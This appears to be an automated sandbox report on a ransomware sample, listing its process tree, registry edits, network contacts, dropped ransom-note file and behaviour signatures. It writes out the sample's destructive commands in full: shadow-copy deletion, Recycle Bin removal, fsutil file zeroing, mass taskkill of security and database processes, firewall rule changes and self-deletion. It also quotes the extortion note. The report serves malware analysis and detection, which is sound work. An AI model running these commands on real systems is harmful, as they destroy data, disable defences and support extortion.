PID 3872 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 4060 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 4060 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\System32\Conhost.exe
PID 3872 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\System32\Conhost.exe
PID 3872 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1272 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1272 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1428 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1428 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 3540 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 3540 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 2616 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\netsh.exe
PID 3872 wrote to memory of 2616 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\netsh.exe
PID 3872 wrote to memory of 2284 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 2284 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1936 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1936 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

"C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe"

C:\Windows\SYSTEM32\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\SYSTEM32\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\SYSTEM32\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\SYSTEM32\arp.exe

"arp" -a

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\slui.exe

C:\Windows\System32\slui.exe -Embedding

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\SYSTEM32\arp.exe

"arp" -a

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 www.poweradmin.com udp
N/A 52.1.55.52:443 www.poweradmin.com tcp
N/A 8.8.8.8:53 live.sysinternals.com udp
N/A 20.49.223.105:80 live.sysinternals.com tcp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp

Files

memory/3872-114-0x0000000000840000-0x0000000000841000-memory.dmp

memory/3872-116-0x000000001B4C0000-0x000000001B4C2000-memory.dmp

memory/3860-117-0x0000000000000000-mapping.dmp

memory/1452-118-0x0000000000000000-mapping.dmp

memory/2680-119-0x0000000000000000-mapping.dmp

memory/1248-120-0x0000000000000000-mapping.dmp

memory/1020-121-0x0000000000000000-mapping.dmp

memory/1580-124-0x0000000000000000-mapping.dmp

memory/2008-123-0x0000000000000000-mapping.dmp

memory/1644-122-0x0000000000000000-mapping.dmp

memory/3776-125-0x0000000000000000-mapping.dmp

memory/204-127-0x0000000000000000-mapping.dmp

memory/3024-126-0x0000000000000000-mapping.dmp

memory/2388-128-0x0000000000000000-mapping.dmp

memory/3896-129-0x0000000000000000-mapping.dmp

memory/3892-130-0x0000000000000000-mapping.dmp

memory/2776-131-0x0000000000000000-mapping.dmp

memory/1116-132-0x0000000000000000-mapping.dmp

memory/4032-133-0x0000000000000000-mapping.dmp

memory/2856-134-0x0000000000000000-mapping.dmp

memory/3808-135-0x0000000000000000-mapping.dmp

memory/1588-136-0x0000000000000000-mapping.dmp

memory/720-137-0x0000000000000000-mapping.dmp

memory/4060-138-0x0000000000000000-mapping.dmp

memory/3952-139-0x0000000000000000-mapping.dmp

memory/1500-140-0x0000000000000000-mapping.dmp

memory/2696-141-0x0000000000000000-mapping.dmp

memory/2784-142-0x0000000000000000-mapping.dmp

memory/1272-143-0x0000000000000000-mapping.dmp

memory/1428-144-0x0000000000000000-mapping.dmp

memory/3540-145-0x0000000000000000-mapping.dmp

memory/2616-146-0x0000000000000000-mapping.dmp

memory/1936-148-0x0000000000000000-mapping.dmp

memory/2284-147-0x0000000000000000-mapping.dmp

memory/3560-150-0x0000000000000000-mapping.dmp

memory/3780-149-0x0000000000000000-mapping.dmp

memory/3964-151-0x0000000000000000-mapping.dmp

memory/3032-152-0x0000000000000000-mapping.dmp

memory/2192-153-0x0000000000000000-mapping.dmp

memory/2084-154-0x0000000000000000-mapping.dmp

memory/3564-155-0x0000000000000000-mapping.dmp

memory/2208-156-0x0000000000000000-mapping.dmp

memory/1368-157-0x0000000000000000-mapping.dmp

memory/500-158-0x0000000000000000-mapping.dmp

memory/3792-159-0x0000000000000000-mapping.dmp

memory/4040-160-0x0000000000000000-mapping.dmp

memory/2684-162-0x0000000000000000-mapping.dmp

memory/2968-161-0x0000000000000000-mapping.dmp

memory/1520-163-0x0000000000000000-mapping.dmp

memory/4052-164-0x0000000000000000-mapping.dmp

memory/2316-165-0x0000000000000000-mapping.dmp

memory/2308-166-0x0000000000000000-mapping.dmp

memory/3784-167-0x0000000000000000-mapping.dmp

memory/808-168-0x0000000000000000-mapping.dmp

memory/2540-169-0x0000000000000000-mapping.dmp

memory/1116-170-0x0000000000000000-mapping.dmp

memory/1272-171-0x0000000000000000-mapping.dmp

memory/2696-172-0x0000000000000000-mapping.dmp

memory/4060-173-0x0000000000000000-mapping.dmp

memory/1004-174-0x0000000000000000-mapping.dmp

memory/4056-175-0x0000000000000000-mapping.dmp

memory/2744-176-0x0000000000000000-mapping.dmp

memory/1900-177-0x0000000000000000-mapping.dmp

memory/1936-178-0x0000000000000000-mapping.dmp

memory/1644-179-0x0000000000000000-mapping.dmp

memory/1644-184-0x000001217F060000-0x000001217F061000-memory.dmp

memory/1644-185-0x000001217F6E0000-0x000001217F6E2000-memory.dmp

memory/1644-186-0x000001217F6E3000-0x000001217F6E5000-memory.dmp

memory/1644-189-0x000001217F7F0000-0x000001217F7F1000-memory.dmp

memory/1644-201-0x000001217F6E6000-0x000001217F6E8000-memory.dmp

memory/3808-202-0x0000000000000000-mapping.dmp

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 f7f0f6071f0143c33138304e41ba4593
SHA1 ab6a335f41f38861a539f9237feca5703f08b2dd
SHA256 336b7fc7c202ab3aaea78e058a72faba98339701fc5db2cbdaf7f96f6172e9bd
SHA512 0fc0ceb0ed537d62083e1d1cee5acd003493e829e1c2a2d7cb96d59322c78789bd4c8b97baa0fe585a61ac5002a723376477d73b689e9fcd654df025048c7e51

Analysis: behavioral1

Detonation Overview

Submitted

2021-06-09 13:16

Reported

2021-06-09 13:26

Platform

win7v20210408

Max time kernel

78s

Max time network

104s

Command Line

"C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe"

Signatures

Downloads MZ/PE file

Modifies Windows Firewall

evasion

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\CompressSplit.tiff C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
File opened for modification C:\Users\Admin\Pictures\RepairGrant.tiff C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
File opened for modification C:\Users\Admin\Pictures\ResolveRead.tiff C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\System32\mshta.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
